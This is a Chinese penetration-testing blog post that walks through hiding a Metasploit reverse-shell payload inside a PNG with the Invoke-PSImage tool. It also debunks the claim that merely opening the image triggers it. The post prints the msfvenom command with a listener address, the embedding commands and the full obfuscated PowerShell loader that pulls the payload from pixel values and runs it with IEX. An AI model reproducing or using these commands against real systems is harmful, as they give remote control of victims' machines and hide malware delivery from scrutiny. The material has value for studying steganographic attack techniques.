【学习】利用png隐藏payload反弹shell

    渗透测试 lz520520 3年前 (2019-10-09) 837次浏览

    0x00 前言

    最近看到一篇微信文章说是可以利用png反弹shell,我还以为图片查看器有什么漏洞,可以在png植入payload然后执行的。

    最后测试复现不了,然后分析了下ps脚本,原来只是利用了一种图片隐写术,将payload隐藏到png图片里,然后再通过提供的powershell命令去提取png中的payload运行,最后实现了反弹shell,而那篇文章中却把执行这一步跳过了,让大家产生错觉,以为是图片打开就可以反弹shell,下面我复现这整个过程。

     

     

    0x01 复现

    首先使用msf去生成一个反弹shell的powershell脚本。命令如下

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=6666 -f psh-reflection -o /root/lz.ps1

    生成成功,结果如下

    【学习】利用png隐藏payload反弹shell

     

     

    然后去github下载利用工具

    https://github.com/peewpw/Invoke-PSImage

     

    工具本身是一个ps脚本,执行以下两条命令,将msf生成的payload隐写进图片里,然后输出格式为png

    Import-Module .\Invoke-PSImage.ps1 //将Invoke-PSImage.ps1导入为ps模块

    Invoke-PSImage -Script .\lz.ps1 -Image .\1.jpg -Out lz.png //调用导入的模块,将payload和图片进行合成输出png

     

    生成图片后,会回显一段命令,这段命令是反弹shell的关键,实际上就是执行这段命令去提取png里隐藏的payload来加载运行的,仔细看下这段命令,其中也可以看到我们生成的图片路径。

    【学习】利用png隐藏payload反弹shell

     

    sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap("C:\Users\lz520520\Desktop\Invoke-PSImage-master\lz.png");$o=a Byte[] 3120;(0..3)|%{foreach($x in(0..779)){$p=$g.GetPixel($x,$_);$o[$_*780+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2825]))

     

     

     

    我们在kali里使用msf监听反弹shell的端口。

    【学习】利用png隐藏payload反弹shell

     

     

    然后powershell命令行执行上面输出的ps命令即可反弹shell。msf使用就不赘述了,不清楚可以百度一下。

     

    【学习】利用png隐藏payload反弹shell

     

     

     

    我们对比下合成前后的图片,质量是有所影响,但问题不大。

    【学习】利用png隐藏payload反弹shell

     

     

     

     

     

    注意事项:

    1.输入的图片格式使用jpg、png都行,不过输入建议使用jpg,png测试有问题,但输出必须为png。

    2.且需要注意的,该方法是将payload每个字节隐藏到图片每个像素中,也就是我的payload是为2826字节,那么我的图片像素点至少也要2826,不然不够写入payload。

    图片像素点计算如下

    查看详细信息,像素点为780*229=178620,最大可以保存178620字节的payload。

    【学习】利用png隐藏payload反弹shell

    3.payload我生成的是x64,生成x86的也行。

     

     

     

    0x03 结语

    上述主要讲的是反弹shell的操作,其实payload是自定义的,设计自己想要的payload即可执行其他任意操作。我看了下github更新时间,这个方法其实两年前就有了,不过这种隐藏payload的思路还是值得借鉴的。对于那篇文章的看法,我觉得分享给大家的技术,应该是可以让读者复现的,这种隐藏部分操作,让读者存在困惑的方式,最终会给读者留下不好的印象,因为我同事也看了那篇文章,被误导以为打开图片就可以反弹shell,然后始终复现不了,觉得作者在坑人,即使最后明白了真正的利用方式,也觉得作者不靠谱。

     

    0x04 参考

    https://www.freebuf.com/sectool/157514.html

    https://github.com/peewpw/Invoke-PSImage

    http://100000p.com/article/2c9f60ef6098b4260160b24bc5db00ea


    Security , 版权所有丨如未注明 , 均为原创丨
    转载请注明原文链接:【学习】利用png隐藏payload反弹shell
    喜欢 (0)